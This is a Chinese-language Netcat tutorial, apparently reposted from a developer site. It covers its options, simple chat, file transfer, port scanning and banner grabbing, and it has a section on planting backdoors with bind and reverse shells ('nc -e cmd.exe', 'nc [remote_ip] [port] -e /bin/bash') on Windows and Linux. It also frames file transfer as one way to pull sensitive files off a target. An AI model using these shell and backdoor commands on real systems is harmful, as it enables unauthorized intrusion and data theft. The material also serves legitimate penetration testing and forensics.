概述
Netcat使用
- 简介
- 使用方法
- 命令参数
- 实现简单的通信
- 创建服务端方法
- 创建一个客户端方法(连接服务端)
- 返回shell的使用
- 文件传输
- 使用场景
- 使用方法
- 创建一个服务器端(接收文件)
- 创建一个客户端(发送文件)
- 信息探测
- 使用场景
- 端口扫描的使用方法
- Banner信息抓取
- 建立后门
- 使用场景
- window建立后门使用方法
- 监听型后门
- 连接型后门
- linux建立后门使用方法
- 监听型后门
- 连接型后门
- 连接转发
简介
Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。总之功能强大,可以用一句较为风趣的话来描述NC的强大——“你的想象力是局限NC的瓶颈”。
使用方法
命令参数
参数 | 解释 |
---|---|
-d | 脱离命令窗口,在后台运行,常用于后门建立过程。nc运行时关闭窗口之后,就会终止执行,使用-d参数是关闭窗口之后也会继续运行。 |
-e | 执行某个程序,常用于后门建立进程 。 |
-G | 设置网关,常用于突破内网限制。 |
-g | 路由跳数 。 |
-i | 设置发送每一行数据的时间间隔。 |
-l | 设置nc处于监听状态等待客户端连接。 |
-L | 设置nc处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态。 |
-n | 设置netcat只识别ip地址,不在进行DNS解析。 |
-o | 设置传输十六进制的数据。 |
-p | 设置本地监听的端口号。 |
-r | 设置nc随机化的端口号。 |
-s | 设置nc源地址用来设置不同的ip地址,可以用在端口扫描上,用来隐藏自己真实的ip地址。 |
-t | 回复telnet的请求数据包。 |
-u | 设置nc使用UDP模式。nc的所有请求默认使用TCP协议传输。当服务器过滤了TCP连接就可以使用-u参数来切换到UDP协议绕过某些过滤。 |
-v | 显示错误提示信息。当进行端口扫描和抓取banner信息时使用该参数查看端口报错信息 |
-w | 设置连接超时秒数。 |
-z | 设置扫描模式,表示发送的数据包不含任何payload。可以加快扫描的速度,缩短扫描的时间。 |
实现简单的通信
在一些特殊的环境下,需要沟通的时候可以使用Netcat创建一个简单的聊天服务器,预先确定好的端口,这样双方就可以进行交流。
创建服务端方法
nc -l -p [localpost]
-l:启动监听模式
-p:监听某个端口的连接
[localpost]:需要监听的端口
创建一个客户端方法(连接服务端)
nc [remote_addr] [remotepost]
[remote_addr] :服务器端的ip地址
[remotepost]:端口号(需要与监听的服务器端端口号相同否则无法成功)
这种通信,仅仅实现了一个简单的通信系统(类似于聊天)服务器端和客户端可以相互发送文本信息,并不能对机器进行命令执行。
返回shell的使用
创建一个服务端方法
nc -l -p [localport] -e cmd.exe
创建一个客户端方法(连接服务端)
nc [remote_addr] [remoteport]
文件传输
nc中的数据传输,使用的是标准的输入,输出流,所以可以直接利用命令行来进行操作。
使用场景
1.取证
当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能获取目标机器上的文件内容。避免直接在目标机器上进行操作造成取证的误差
2.单纯获取目标机器上的敏感文件
当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输。
使用方法
创建一个服务器端(接收文件)
nc -l -p [localport] > outfile
outfile:接收的文件名
创建一个客户端(发送文件)
nc [remote_addr] [remoteport] < infile
infile:发送的文件名
<为上传,>为接收
接收的文件名和发送的文件名不一定需要一致
信息探测
使用场景
1.目标内网的扫描
当获得目标权限之后,如果目标没有任何途径可以对内网进行探测时,可以使用nc进行内网ip和端口扫描。
2.对某个目标进行端口探测
3.对目标的服务banner进行抓取
端口扫描的使用方法
nc -v -n -z -w1 [target_ip] [start_target_post-stop_target_port]
-v:表示对错误进行详细输出
-n:不对目标机器进行DNS解析
-z:zero I/o 模式,专用于端口扫描。表示对目标ip发送的数据表中不包含如何payload,这样做可以加快扫描的速度
-w1:超时设置为1秒(一秒连接不到服务器将会自动断开)
[target_ip]:扫描的ip
[start_target_post-stop_target_port]:想要扫描的端口范围,可以是多个也可以是单个,多个需要用横杆(-)连接
在端口号之后括号内的内容为端口的服务;
Banner信息抓取
echo “ ” | nc -v -n -w1 [target_ip] [start_target_port-stop_target_post]
通过管道传递向每个端口发送信息。从而使端口返回banner信息。
建立后门
使用场景
获取目标的命令执行权限
当目标机器上存在nc之后,可以使用nc建立后门,以此实现执行目标命令的功能。
能够使用nc建立后门并且返回操作结果的原因:nc的一切数据是通过标准输入/输出流来实现的,所以能够利用nc的命令进行后门建立,并传输结果信息
window建立后门使用方法
监听型后门是让服务器端执行nc -l -p [localpost] -e cmd.exe命令由客户端使用nc连接得到服务器端的shell;
连接型后门是让客户端使用nc [remote_ip] [remote_post] -e cmd.exe命令,使得服务器用nc -l -p [localpost]得到客户端的shell。
监听型后门
nc -l -p [localpost] -e cmd.exe(服务器端)
-l:启动监听模式
-p:监听某个端口的连接
[localpost]:端口号
-e:执行给定的命令
当某个客户端连接到该服务器时,该服务器就会返回服务器运行的操作系统上的cmd.exe,使客户端可以执行服务器端的某些命令。
连接型后门
nc [remote_ip] [remote_post] -e cmd.exe(客户端)
[remote_ip] :ip地址
[remote_post]:端口号
使连接的客户端会返回给服务器端一个cmd.exe
linux建立后门使用方法
监听型后门
nc -l -p [localpost] -e /bin/bash(服务器端)
-l:启动监听模式
-p:监听某个端口的连接
[localpost]:端口号
-e:执行给定的命令
连接型后门
nc [remote_ip] [remote_post] -e /bin/bash(客户端)
[remote_ip] :ip地址
[remote_post]:端口号
window下的shell为cmd.exe;linux下的shell为/bin/bash
无论哪一种连接方式,都需要使用参数-e来返回对应的shell
连接转发
echo nc [target] [post] > delay.bat
nc -l -p [localpost] -e delay.bat
delay.bat:window下的批处理文件。
当有客户端连接该服务端时,连接的客户端和通过服务端连接到target port 上实现了连接转发功能。(端口转发)
最后
以上就是跳跃刺猬为你收集整理的Netcat使用简介使用方法的全部内容,希望文章能够帮你解决Netcat使用简介使用方法所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复